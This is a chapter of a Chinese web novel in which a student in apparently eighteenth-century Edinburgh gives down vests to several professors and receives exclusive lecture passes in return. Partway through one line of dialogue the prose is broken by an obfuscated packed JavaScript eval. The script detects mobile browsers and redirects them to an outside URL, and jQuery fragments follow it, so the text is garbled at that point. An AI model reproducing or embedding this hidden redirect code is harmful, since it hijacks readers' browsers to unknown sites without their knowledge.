接下来的几天，西奥多一直在想这件事。
他没有刻意去观察孟罗教授的手——那太明显了。但上课的时候，他的目光会不由自主地落在教授翻讲义的那双手上。指尖泛着不正常的青白色，翻页的时候偶尔会微微打滑，有一次写板书举着手太久，放下的时候他注意到教授无意识地搓了两下手背。
爱丁堡十一月的教室没有暖气，所有人都冷，但孟罗教授的冷和其他人不一样。其他人是哆嗦、跺脚、把手缩进袖子里。孟罗教授是那种从里面透出来的冷，像是血液本身就不带温度。
他又想起自己穿的羽绒马甲。
八十块钱一件。轻、薄、暖，穿在大衣里面完全看不出来。
他把这个念头压下去好几次，又在课堂上看见教授搓手的时候浮起来。
---
三天前的周六，西奥多在课堂上看见孟罗教授翻讲义时手指又抖了一下。他在心里犹豫了三天，终于在周二下午，敲响了孟罗教授办公室的门。
他左手拎着一个布包，右手夹着一个纸包。布包里是一件叠得整整齐齐的黑色羽绒马甲——他昨晚在系统里翻了好久，选了最简洁的款式，黑色，没有任何多余装饰，穿在大衣里面完全看不出来。纸包里是答应帮格里尔先生采购的一批铅笔。
“进来。”
格里尔先生开的门。他看到西奥多，点了点头。
“菲利普斯先生，铅笔送来了？”
“送来了。”西奥多把纸包放在桌上，然后指了指手里的布包，“还有一件东西，想当面交给孟罗教授。方便吗？”
格里尔先生看了布包一眼，没多问，转身进了里间。片刻后出来，侧身让开门口：“教授请您进去。”
孟罗教授坐在书桌后面，面前摊着一本厚厚的讲义，老花镜压在鼻梁上。他抬起头看了西奥多一眼，摘下眼镜。
“菲利普斯先生，坐。”
西奥多没有坐下。他站在书桌前，把布包打开，马甲叠得整整齐齐。
“教授，这是我的一点心意。”他说，语气平静，“不是什么贵重的东西，就是一件保暖的衣物。我在教室里注意到您的手有时候会冷。爱丁堡的冬天太长了，您每天要在教室里站那么久，应该穿得暖和些。”
他顿了顿。
“我不知道您喜欢什么颜色，就选了最普通的黑色。穿在大衣里面，看不出来。”
孟罗教授没有说话。
他看着桌上那件马甲，沉默了好一会儿。西奥多看不清他的表情，只看见他放在桌面上的手指微微动了一下。
“你注意到我的手会冷？”孟罗教授问。
“在教室里注意到了。”西奥多说，“您翻讲义的时候，指尖有时候会发白。”
孟罗教授低下头，看了一眼自己的手，又抬起头看西奥多。
“你学了多久的医？”
“不到两个月。”
“两个月就能注意到这些？”孟罗教授的声音有些哑，“我教了三十年书，没几个学生会在意老师的手冷不冷。”
西奥多没有接话。
孟罗教授伸手拿起那件马甲，在手里掂了掂。他的动作很慢，像是在称量一件贵重的东西。手指捏了一下面料，停了片刻。
“鹅绒的。”西奥多说，“比羊毛轻，也暖和得多。穿在大衣里面，外面完全看不出来。”
孟罗教授把马甲放下，摘下老花镜，靠在椅背上。
“我年轻的时候，”他说，“在荷兰莱顿大学读书。那里的冬天比爱丁堡还冷。我的老师伯尔哈维——你知道伯尔哈维吗？”
“知道。”西奥多说，“现代临床教学的奠基人。”
“他冬天上课的时候，手上总是戴着一副旧手套。”孟罗教授的声音很轻，像是在讲一个很久远的故事，“那副手套破了洞，指头露在外面。我那时候想，等我当了老师，一定不能让手冻着。结果当了三十年老师，还是冻着了。”
他自嘲地笑了笑。
“东西我收下了。”孟罗教授点了点头，把马甲重新叠好，放进布包里，“替我谢谢你的好意。”
他从抽屉里取出两张硬卡片，放在桌上，推到西奥多面前。
西奥多低头一看。卡片上没有文字，没有署名，只有右上角盖着一个红色的小印章——那是爱丁堡大学解剖学实验室的专用标记。
“这是什么？”西奥多问。
“高级解剖课的听课证。”孟罗教授说，“每学期我带几个学生进解剖室，实际操作。人数不多，十五个人。这是两张——一张给你，另一张给你想给的人。”
西奥多愣了一下。
“教授，我——”
“你不想要？”
“想要。”西奥多说，“但我送这件马甲，不是想要这个。”
“我知道。”孟罗教授看着他，目光平静，“你是第一个注意到我手冷的学生。就凭这一点，你有资格进我的解剖室。”
他把卡片又往西奥多面前推了推。
“拿着。”
西奥多伸出手，把两张卡片收进口袋里。
---
从孟罗教授办公室出来，他没有直接回住处。他回了一趟住处，把另外三件马甲取出来，分别装好，然后去了布莱克教授那里。
布莱克教授是化学课的授课人。开学两个月，西奥多对他的印象是：瘦，清瘦得像是被爱丁堡的风吹干了。他的大衣挂在办公室门后的衣架上，领口磨得发白，袖口也有线头——不是什么体面的打扮，但他本人似乎毫不在意。
西奥多敲门的时候，布莱克教授正在写什么东西。
“进来。”
西奥多推门进去。布莱克教授抬起头，看了他一眼，放下笔。
“菲利普斯先生，有什么事？”
西奥多从布包里取出一件黑色马甲，放在桌上。
“教授，这是我的一点心意。不是什么贵重的东西，就是一件保暖的衣物。”他说，“我在教室里注意到您穿得不多。爱丁堡的冬天冷，您每天上课，应该穿得暖和些。”
布莱克教授看着那件马甲，没有立刻说话。
“你给每个人都送了？”他问。
“只送了几位教授。”西奥多说，“我注意到几位教授冬天都穿得不多。可能你们自己不在意，但我在意。”
布莱克教授看了他一眼。
“你在意？”
“我在意。”西奥多说，“我是学医的。一个人穿得够不够暖，我一眼就能看出来。”
布莱克教授沉默了一会儿，然后拿起那件马甲，放在手里掂了掂。
“鹅绒的？”
“是的。”
“比羊毛轻。”
“也比羊毛暖和。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17449444|201128||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
布莱克教授点了点头，把马甲叠好，放在桌角。
“东西我收下了。”他说，“谢谢你，菲利普斯先生。”
西奥多告辞出来，站在走廊里犹豫了一下。
卡伦教授和格雷戈里教授的办公室在另一栋楼。他没有犹豫太久，直接去了。
卡伦教授不在。他把马甲留在门房，留了一张纸条，上面写着：“卡伦教授，一件保暖的衣物，不值什么钱，望您别嫌弃。——西奥多·菲利普斯”
格雷戈里教授在。他是个胖乎乎的老头，说话慢吞吞的，看起来很好说话。西奥多把马甲递过去的时候，他愣了一下，然后笑了。
“给我的？”
“给您的。”
格雷戈里教授把马甲展开看了看，又捏了捏，点了点头。
“好东西。”他说，“谢谢你，菲利普斯先生。”
他没有多问，也没有推辞。
---
一周之后，西奥多去图书馆还书，管理员叫住了他。
“菲利普斯先生，卡伦教授留了一样东西在这里，说让你来取。”
西奥多走过去。桌上放着一本书，旁边压着一张纸条。纸条上只有一行字，笔迹苍劲有力——
“书不错。马甲也很暖和。——W. C.”
西奥多把纸条看了一遍，折好，放进笔记本里。
又过了两天，他在图书馆门口碰到了布莱克教授。布莱克教授穿着那件深蓝色的大衣，领口没有系紧——西奥多瞥了一眼，大衣里面露出一小截黑色内衬。
是那件马甲。
“教授。”西奥多打招呼。
“菲利普斯。”布莱克教授点了点头，从口袋里掏出一张卡片，递给他。
西奥多接过来一看——一张听课证，印章是化学实验室的标记。
“我下周开始讲一堂小课，”布莱克教授说，“不在大教室，在我自己的实验室里。人数不多，你可以来。”
西奥多把卡片攥在手心里。
“谢谢教授。”
布莱克教授看了他一眼，转身走了。走出几步又停下来，没有回头。
“马甲很好。很暖和。”
然后他走进了风雪里。
西奥多站在图书馆门口，看着他的背影。
三件马甲，一百多块钱。
换来两张听课证——加上孟罗教授给的两张，已经三张了。
他把手里的卡片揣进大衣口袋，和那两张解剖课的放在一起，嘴角微微翘起。
---
十二月的爱丁堡，白天短得像眨了一下眼。
早上八点多天才亮，下午三点半太阳就沉下去了，四点一过街上的路灯就得点起来。风从北边的福斯湾灌进来，裹着潮气，不是干冷，是那种往骨头缝里钻的湿冷。街上行人的脚步比十一月又快了一成，说话嘴里冒着白雾，呼出来的气在围巾上结成一层细密的水珠。
西奥多裹着大衣走在路上，大衣里面是羽绒马甲，马甲里面是棉衬衣，三层叠在一起，暖和得像裹了一床被子。他的手插在口袋里，指尖碰着一把铜便士——上周的零散收入，还没来得及回收。
他现在走路的时候会刻意放慢半拍。不能比别人暖和太多，不能比别人从容太多。偶尔要缩一下脖子，偶尔要搓一下手，偶尔要让眉毛上挂一点霜。